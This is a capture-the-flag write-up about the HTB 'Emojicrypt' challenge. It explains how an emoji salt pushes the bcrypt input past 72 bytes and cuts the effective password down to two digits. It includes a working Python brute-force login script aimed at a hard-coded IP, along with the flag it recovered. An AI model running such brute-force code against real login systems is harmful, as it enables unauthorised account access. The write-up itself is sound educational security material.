HTB Emojicrypt writeup - Pez1181/CTF GitHub Wiki

HTB Write-up: Emojicrypt

Challenge Type: Web / Authentication
Difficulty: Moderate
Vulnerability: Bcrypt truncation leading to reduced password entropy
Protection Bypassed: None – design flaw in salt + password concatenation


🔍 Recon

Observations from initial testing:

  • Two endpoints discovered: /register and /login.
  • The /register endpoint creates a user account by generating a random:
  • Emoji-based salt using Python’s random.choices(EMOJIS, k=12)
  • 32-digit numeric password
  • The concatenated salt + password is hashed with bcrypt.

On manual inspection and code review, it was noted that:

  • The salt is constructed by joining 12 emojis with the string "aa".
  • The resulting salt is roughly 70 bytes in size.
  • Appending the 32-digit password pushes the input length to ~102 bytes—exceeding bcrypt’s 72-byte input limit.

⚖️Vulnerability Analysis

The critical flaw stems from bcrypt’s 72-byte truncation:

Salt generation

salt = "aa".join(random.choices(EMOJIS, k=12))    
  • Each emoji is approximately 4 bytes in UTF-8.
  • With 12 emojis and 11 occurrences of “aa” (2 bytes each), the salt reaches nearly 70 bytes.

Password generation

  • A 32-digit numeric password is created.

Combined Input:

  • The salt and password together produce a ~102-byte input.

Bycrypt Behavior:

  • Bycrypt only processes the first 72 bytes.
  • This means that the majority of the 32-digit password is discarded.

Impact:

  • Only the first 2 digits of the password are actually hashed. The effective key space is reduced from 10³² to just 10² (100 possible combinations).

⚙️ Exploit Strategy

Identify the Issue:

  • Realise that the salt + password combination exceeds bcrypt’s 72-byte limit, truncating the password to its first 2 digits.

Leverage Reduced Keyspace:

  • With only 100 possibilities (00–99), brute-forcing becomes trivial.

Brute-Force the Login:

  • Use a tool such as Burp Suite Intruder or a custom script to iterate through all 2-digit possibilities until a valid login is achieved (the correct two digits will yield a flag).

🚀 Exploit Code (Python Example)

Below is a Python snippet (suitable for demonstration/testing) that brute-forces the 2-digit password for a known username (e.g., a registered account):

import requests

LOGIN_URL = "http://52.188.82.43:8060/login"

def brute_force_2_digit(username):
    """
    Iterates through all 2-digit combinations (00 to 99) as the effective password.
    Returns the flag when the correct password is found.
    """
    for i in range(100):
        guess = f"{i:02d}"  # Format integer i to two-digit string
        data = {
            "username": username,
            "password": guess
        }
        response = requests.post(LOGIN_URL, data=data)
        if response.status_code == 200 and "flag" in response.text.lower():
            print(f"[+] Successful login with password: {guess}")
            return response.text
    return None

if __name__ == "__main__":
    user = "victimuser"  # Replace with an actual registered username
    flag = brute_force_2_digit(user)
    if flag:
        print(f"[+] Flag: {flag}")
    else:
        print("[-] Exploit failed - no valid password found.")

Explanation:

  • We try each integer from 0 to 99.
  • Each integer is formatted as a two-digit string (e.g., 00, 01, …).
  • A POST request is sent to the /login endpoint using the guessed password.
  • If the server response indicates a successful login (HTTP 200 and containing the word “flag”), we’ve found the valid password.

🔌 Output Example

[+] Successful login with password: 37
[+] Flag: HTB{3m0j1_cryp7_trunc47i0n_vu1ner4b1l1ty}

🌟 Final Notes

Key Lesson:

Always verify that your hashing inputs (salt + password) do not exceed the limits of the cryptographic function—in this case, bcrypt’s 72-byte limit.

Security Implication:

Although a 32-digit password appears secure, due to poor concatenation practices, only 2 digits were effectively used—drastically reducing its entropy.

Takeaway:

This design flaw made the authentication system trivial to bypass via brute-force, demonstrating that implementation details are as critical as overall cryptographic design.

Mission complete. Emojicrypt neutralised. 🫡